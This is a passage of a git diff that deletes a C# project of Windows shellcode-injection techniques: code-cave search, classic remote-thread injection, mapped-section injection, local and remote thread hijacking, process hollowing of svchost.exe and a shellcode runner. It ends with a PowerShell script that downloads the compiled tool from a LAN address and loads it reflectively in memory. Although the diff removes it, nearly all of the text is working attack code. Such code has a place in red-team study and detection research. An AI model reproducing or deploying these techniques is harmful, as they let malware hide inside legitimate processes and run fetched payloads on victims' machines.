- } - - // look for a code cave - for (int i = 0; i < (Int32)lpNumberOfBytesRead; i++) - { - // find the start of a possible code cave - if (areaToSearch[i] != 0x00) - continue; - - // if we are nearing the end of the region just return zero - if (i + size >= (Int32)lpNumberOfBytesRead) - return IntPtr.Zero; - - // now we need to check to see if there are enough consecutive zeros to put our shellcode - bool found = false; - for(int j = i; j < i + size; j++) - { - if (areaToSearch[j] != 0x00) - { - i = j; - break; - } - else - { - // we have a code cave - if (j == i + (size - 1)) - { - found = true; - break; - } - } - } - - // return the code cave address - if (found) - return IntPtr.Add(startAddress, i); - } - - return IntPtr.Zero; - } - - IntPtr GetModuleBaseAddress(string name) - { - Process hProc = Process.GetCurrentProcess(); - - foreach (ProcessModule m in hProc.Modules) - { - if (m.ModuleName.ToUpper().StartsWith(name.ToUpper())) - return m.BaseAddress; - } - - // we can't find the base address - return IntPtr.Zero; - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/ClassicInjection.cs b/ShellcodeInjectionTechniques/Techniques/ClassicInjection.cs deleted file mode 100644 index 9344550..0000000 --- a/ShellcodeInjectionTechniques/Techniques/ClassicInjection.cs +++ /dev/null @@ -1,27 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class ClassicInjection : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - // allocate some memory for our shellcode - IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); - Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") }); - - // write the shellcode into the allocated memory - Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); - WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten); - - // create the remote thread - IntPtr hThread = CreateRemoteThread(target.Handle, IntPtr.Zero, 0, pAddr, IntPtr.Zero, ThreadCreationFlags.NORMAL, out hThread); - Debug("[+] CreateRemoteThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/ITechnique.cs b/ShellcodeInjectionTechniques/Techniques/ITechnique.cs deleted file mode 100644 index bb84a4c..0000000 --- a/ShellcodeInjectionTechniques/Techniques/ITechnique.cs +++ /dev/null @@ -1,10 +0,0 @@ -using System; -using System.Diagnostics; - -namespace ShellcodeInjectionTechniques -{ - interface ITechnique - { - void Run(Process target, byte[] shellcode); - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/InterProcessMappedView.cs b/ShellcodeInjectionTechniques/Techniques/InterProcessMappedView.cs deleted file mode 100644 index f9d4624..0000000 --- a/ShellcodeInjectionTechniques/Techniques/InterProcessMappedView.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class InterProcessMappedView : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - IntPtr hSectionHandle = IntPtr.Zero; - IntPtr pLocalView = IntPtr.Zero; - UInt64 size = (UInt32)shellcode.Length; - - // create a new section to map view to - UInt32 result = NtCreateSection(ref hSectionHandle, SectionAccess.SECTION_ALL_ACCESS, IntPtr.Zero, ref size, MemoryProtection.PAGE_EXECUTE_READWRITE, MappingAttributes.SEC_COMMIT, IntPtr.Zero); - - if (result != 0) - { - Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() }); - return; - } - else - Debug("[+] NtCreateSection() - section handle: 0x{0}", new string[] { hSectionHandle.ToString("X") }); - - // create a local view - const UInt32 ViewUnmap = 0x2; - UInt64 offset = 0; - result = NtMapViewOfSection(hSectionHandle, (IntPtr)(-1), ref pLocalView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_READWRITE); - - if (result != 0) - { - Debug("[!] Unable to map view of section: {0}", new string[] { ((NTSTATUS)result).ToString() }); - return; - } - else - Debug("[+] NtMapViewOfSection() - local view: 0x{0}", new string[] { pLocalView.ToString("X") }); - - // copy shellcode to the local view - Marshal.Copy(shellcode, 0, pLocalView, shellcode.Length); - Debug("[+] Marshalling shellcode"); - - // create a remote view of the section in the target - IntPtr pRemoteView = IntPtr.Zero; - NtMapViewOfSection(hSectionHandle, target.Handle, ref pRemoteView, UIntPtr.Zero, UIntPtr.Zero, ref offset, ref size, ViewUnmap, 0, MemoryProtection.PAGE_EXECUTE_READ); - Debug("[+] NtMapViewOfSection() - remote view: 0x{0}", new string[] { pRemoteView.ToString("X") }); - - // execute the shellcode - IntPtr hThread = IntPtr.Zero; - CLIENT_ID cid = new CLIENT_ID(); - RtlCreateUserThread(target.Handle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, pRemoteView, IntPtr.Zero, ref hThread, cid); - Debug("[+] RtlCreateUserThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/LocalThreadHijack.cs b/ShellcodeInjectionTechniques/Techniques/LocalThreadHijack.cs deleted file mode 100644 index 5c898a2..0000000 --- a/ShellcodeInjectionTechniques/Techniques/LocalThreadHijack.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Threading; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class LocalThreadHijack : ITechnique - { - - public void Run(Process target, byte[] shellcode) - { - // create a new thread to hijack, in a suspended state - IntPtr hThread = CreateThread(IntPtr.Zero, 0, IntPtr.Zero, IntPtr.Zero, ThreadCreationFlags.CREATE_SUSPENDED, out hThread); - Debug("[+] CreateThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - - unsafe - { - fixed (byte* ptr = shellcode) - { - // set the memory where the shellcode is to PAGE_EXECUTE_READWRITE - IntPtr memoryAddress = (IntPtr)ptr; - VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect); - Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") }); - - //CONTEXT_ALL = 0x10001F - CONTEXT64 ctx = new CONTEXT64(); - ctx.ContextFlags = 0x10001F; - - // get the thread context - we are looking to manipulate the instruction pointer register - Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - if (!GetThreadContext(hThread, ref ctx)) - { - Console.WriteLine("[!] Error: {0}", GetLastError()); - return; - } - - Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") }); - - // point the instruction pointer to our shellcode - ctx.Rip = (ulong)memoryAddress; - - // set the thread context (update the registers) - Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { memoryAddress.ToString("X") }); - SetThreadContext(hThread, ref ctx); - } - } - - Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - ResumeThread(hThread); - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/ProcessHollow.cs b/ShellcodeInjectionTechniques/Techniques/ProcessHollow.cs deleted file mode 100644 index 19e7ab1..0000000 --- a/ShellcodeInjectionTechniques/Techniques/ProcessHollow.cs +++ /dev/null @@ -1,58 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class ProcessHollow : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - // Create a new process in a suspended state - STARTUPINFO lpStartupInfo = new STARTUPINFO(); - PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); - CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); - Debug("[+] CreateProcess(): C:\\Windows\\System32\\svchost.exe"); - - // locate the PEB inside the process - PROCESS_BASIC_INFORMATION procInformation = new PROCESS_BASIC_INFORMATION(); - uint tmp = 0; - IntPtr hProcess = lpProcessInformation.hProcess; - ZwQueryInformationProcess(hProcess, 0x0, ref procInformation, (uint)(IntPtr.Size * 6), ref tmp); - - // locate the image base - PEB + 0x10 - IntPtr ptrToImageBase = (IntPtr)((Int64)procInformation.PebAddress + 0x10); - Debug("[+] Pointer to ImageBase: 0x{0}", new string[] { ptrToImageBase.ToString("X") } ); - - // read the process memory - byte[] addrBuf = new byte[IntPtr.Size]; - IntPtr nRead = IntPtr.Zero; - ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); - Debug("[+] ReadProcessMemory() - image base pointer: 0x{0}", new string[] { ptrToImageBase.ToString("X") }); - - // locate svchost base, converted to a 64-bit integer then cast to an IntPtr - IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); - Debug("[+] ImageBase: 0x{0}", new string[] { svchostBase.ToString("X") }); - - // read the memory location to get the entry point from the PE header - byte[] data = new byte[0x200]; - ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); - Debug("[+] ReadProcessMemory() - svchost base: 0x{0}", new string[] { svchostBase.ToString("X") }); - - uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); - uint opthdr = e_lfanew_offset + 0x28; - uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); - IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); - Debug("[+] EntryPoint: 0x{0}", new string[] { ptrToImageBase.ToString("X") }); - - WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead); - Debug("[+] WriteProcessMemory(): 0x{0}", new string[] { addressOfEntryPoint.ToString("X") }); - - Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { lpProcessInformation.hThread.ToString("X") }); - ResumeThread(lpProcessInformation.hThread); - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/ShellcodeRunner.cs b/ShellcodeInjectionTechniques/Techniques/ShellcodeRunner.cs deleted file mode 100644 index 1b9dc47..0000000 --- a/ShellcodeInjectionTechniques/Techniques/ShellcodeRunner.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class ShellcodeRunner : ITechnique - { - private delegate void ShellcodeDelegate(); - - public void Run(Process target, byte[] shellcode) - { - unsafe - { - fixed (byte* ptr = shellcode) - { - // set the memory where the shellcode is to PAGE_EXECUTE_READWRITE - IntPtr memoryAddress = (IntPtr)ptr; - VirtualProtect(memoryAddress, (UIntPtr)shellcode.Length, MemoryProtection.PAGE_EXECUTE_READWRITE, out MemoryProtection lpfOldProtect); - Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}", new string[] { memoryAddress.ToString("X") }); - - // execute the shellcode using a delegate function - Debug("[+] Executing shellcode - memory address: 0x{0}", new string[] { memoryAddress.ToString("X") }); - ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate)); - func(); - } - } - } - } -} diff --git a/ShellcodeInjectionTechniques/Techniques/ThreadHijack.cs b/ShellcodeInjectionTechniques/Techniques/ThreadHijack.cs deleted file mode 100644 index c20b8bf..0000000 --- a/ShellcodeInjectionTechniques/Techniques/ThreadHijack.cs +++ /dev/null @@ -1,74 +0,0 @@ -using System; -using System.Runtime.InteropServices; -using System.Diagnostics; - -using static ShellcodeInjectionTechniques.Debugger; -using static ShellcodeInjectionTechniques.Native; - -namespace ShellcodeInjectionTechniques -{ - class ThreadHijack : ITechnique - { - public void Run(Process target, byte[] shellcode) - { - ProcessThread thread = GetThread(target.Threads); - Debug("[+] Found thread: {0}", new string[] { thread.Id.ToString() }); - - // get a handle to the thread - IntPtr hThread = OpenThread(ThreadAccess.GET_CONTEXT | ThreadAccess.SET_CONTEXT, false, (UInt32)thread.Id); - Debug("[+] OpenThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - - // allocate some memory for our shellcode - IntPtr pAddr = VirtualAllocEx(target.Handle, IntPtr.Zero, (UInt32)shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.PAGE_EXECUTE_READWRITE); - Debug("[+] VirtualAllocEx(), assigned: 0x{0}", new string[] { pAddr.ToString("X") }); - - // write the shellcode into the allocated memory - Debug("[+] WriteProcessMemory() - remote address: 0x{0}", new string[] { pAddr.ToString("X") }); - WriteProcessMemory(target.Handle, pAddr, shellcode, shellcode.Length, out IntPtr lpNumberOfBytesWritten); - - Debug("[+] SuspendThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - SuspendThread(hThread); - - //CONTEXT_ALL = 0x10001F - CONTEXT64 ctx = new CONTEXT64(); - ctx.ContextFlags = 0x10001F; - - // get the thread context - we are looking to manipulate the instruction pointer register - Debug("[+] GetThreadContext() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - if(!GetThreadContext(hThread, ref ctx)) - { - Console.WriteLine("[!] Error: {0}", GetLastError()); - return; - } - - Debug("[+] RIP is: 0x{0}", new string[] { ctx.Rip.ToString("X") }); - - // point the instruction pointer to our shellcode - ctx.Rip = (ulong)pAddr; - - // set the thread context (update the registers) - Debug("[+] SetThreadContext(), RIP assigned: 0x{0}", new string[] { pAddr.ToString("X") }); - SetThreadContext(hThread, ref ctx); - - Debug("[+] ResumeThread() - thread handle: 0x{0}", new string[] { hThread.ToString("X") }); - ResumeThread(hThread); - } - - ProcessThread GetThread(ProcessThreadCollection threads) - { - // find a thread - // it is very likely that the process you are hijacking will be unstable as 0 is probably the main thread - return threads[0]; - - /* - // you could loop through the threads looking for a better one - foreach(ProcessThread thread in threads) - { - - } - */ - } - } -} - - diff --git a/assembly-injection.ps1 b/assembly-injection.ps1 deleted file mode 100644 index b69d700..0000000 --- a/assembly-injection.ps1 +++ /dev/null @@ -1,4 +0,0 @@ -$bytes = (Invoke-WebRequest "http://192.168.1.228/ShellcodeInjectionTechniques.exe").Content; -$assembly = [System.Reflection.Assembly]::Load($bytes); -$entryPointMethod = $assembly.GetType('ShellcodeInjectionTechniques.Program', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic'); -$entryPointMethod.Invoke($null, (, [string[]] ('', '')));